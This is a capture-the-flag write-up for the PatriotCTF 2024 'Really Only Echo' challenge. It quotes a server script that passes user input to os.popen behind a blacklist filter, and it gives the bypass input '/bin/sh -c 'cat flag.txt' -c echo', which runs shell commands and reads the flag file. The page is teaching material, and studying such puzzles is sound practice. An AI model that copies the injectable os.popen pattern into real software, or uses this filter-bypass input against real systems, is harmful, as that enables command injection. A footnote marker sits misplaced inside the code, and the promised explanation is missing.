Skip to main content

PatriotCTF 2024 Really Only Echo Writeup

Published: September 12, 2026

Here's my writeup for the PatriotCTF 2024 Really Only Echo challenge.

Challenge note

Hey, I have made a terminal that only uses echo, can you find the flag?

Author: Ryan Wong (shadowbringer007)

nc chal.competitivecyber.club 3333

Challenge file

Download the challenge server's server.py script with the Wget download tool3:

wget --content-disposition \
    "https://pctf.competitivecyber.club/files/0140073002c3143d3bb99bf24edbb598/server.py?token=…"

Connect to challenge server

Connect to the challenge server with Netcat1:

nc chal.competitivecyber.club 3333

The challenge server greets you once you connect:

This is shell made to use only the echo command.
Please input command:

Solve the challenge

The challenge server receives your input in the backend(req) function. This function filters and executes your input:

# server.py
def backend(req):
    # …
    if filter_check(user_input):
        output = os.popen(user_input).read()
        req.sendall((output + '\n').encode())

The backend(reg) function calls the filter function filter_check(user_input). This checks your input for any "naughty" strings. The goal is to submit an input that passes this function:

# server.py
# edited for clarity
blacklist = os.popen(
    "ls /bin"
).read().split("\n")
blacklist.remove("echo")

def filter_check(command):
    parsed = command.split()
    if "echo" not in parsed:
        return False
    if ">" in parsed:
        req.sendall(
            b"HEY! No moving things around.\n\n"
        )
        return False
    parsed = command.replace(
        "$", " "
[^simpler-solution]    ).replace(
        "(", " "
    ).replace(
        ")", " "
    ).replace(
        "|"," "
    ).replace(
        "&", " "
    ).replace(
        ";"," "
    ).replace(
        "<"," "
    ).replace(
        ">"," "
    ).replace(
        "`"," "
    ).split()
    for i in range(len(parsed)):
        if parsed[i] in blacklist:
            return False
    return True

This input passes the filter_check(user_input) call inside backend():

/bin/sh -c 'cat flag.txt' -c echo

filter_check splits your input into words in the parsed variable:

# parsed = command.split()
# parsed now contains:
[
    "/bin/sh",
    "-c", 
    "'cat",
    "flag.txt'",
    "-c", 
    "echo",
]

The words in parsed pass filter_check and backend runs your input. Here's why:

Connect to the chal.competitivecyber.club challenge server at port 3333 and send the /bin/sh -c 'cat flag.txt' -c echo solution string to receive the flag:

Solution string sent to challenge server. Challenge server responds with the flag pctf{echo_is_such_a_versatile_command}
Solution string sent to challenge server. Challenge server responds with the flag pctf{echo_is_such_a_versatile_command}


  1. Any netcat implementation works. Some available netcat implementations are GNU Netcat, OpenBSG nc, and BusyBox nc 

  2. I realized afterwards that you can also use /bin/cat flag.txt echo. server.py doesn't check for exit codes, so you'll end up with /bin/cat reading the flag and then complaining cat: echo: No such file or directort 

  3. When you pass --content-disposition to Wget, it strips any query parameters like ?token=… from the resulting file name. This way you end up with a server.py file and not server.py?token=…

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index